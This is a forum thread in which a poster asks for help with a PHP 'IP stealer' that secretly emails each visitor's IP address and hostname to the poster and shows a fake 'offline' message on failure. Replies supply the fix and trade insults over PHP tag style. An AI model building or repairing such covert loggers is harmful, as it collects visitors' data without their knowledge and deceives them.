IP Stealer Help
So i'm working on a simple PHP scrip that grabs the users IP and Host and emails it to me. I cannot figure out why it is not sending -.-
$ip = $REMOTE_ADDR;
$host = gethostbyaddr($ip);
$email = "xxxxx@gmail.com";
$subject = "IP + Host Retrieved!";
$date = date("d/m/Y H:i:s");
$message = "<html><body>Date: $date<brIP: $ip<br>Host: $host</body></html>";
if(mail($email,$subject,$message,"Content-Type: text/html")){
echo "Working!";
}
else {
echo "The page your are trying to view is currently temporarily offline!";
}
?> ```
MoshBat wrote: For starters, $_SERVER['REMOTE_ADDR']; Secondly, <?php
Thirdly, you're an idiot…
How quick you are to throw words at people, when you clearly don't know what you're talking about =]
I give you as much as your first point, $_SERVER['REMOTE_ADDR'] would be one fix. But the second isn't necessarily true.
If the server has "short open tag" enabled, then your point stands no ground :)
Jesus wrote: [quote]MoshBat wrote: For starters, $_SERVER['REMOTE_ADDR']; Secondly, <?php
Thirdly, you're an idiot…
How quick you are to throw words at people, when you clearly don't know what you're talking about =]
I give you as much as your first point, $_SERVER['REMOTE_ADDR'] would be one fix. But the second isn't necessarily true.
If the server has "short open tag" enabled, then your point stands no ground :)[/quote] Short-hand tags are a bad habit and should always be avoided. This is not 1981 and 3 bytes are not going to kill our space. In this case, it can actually cause damage though if you. If you distribute your script not everybody has short hand enabled, thus problems come up.
He may as well use the ASP tags <% %> as they can be valid if enabled >.>.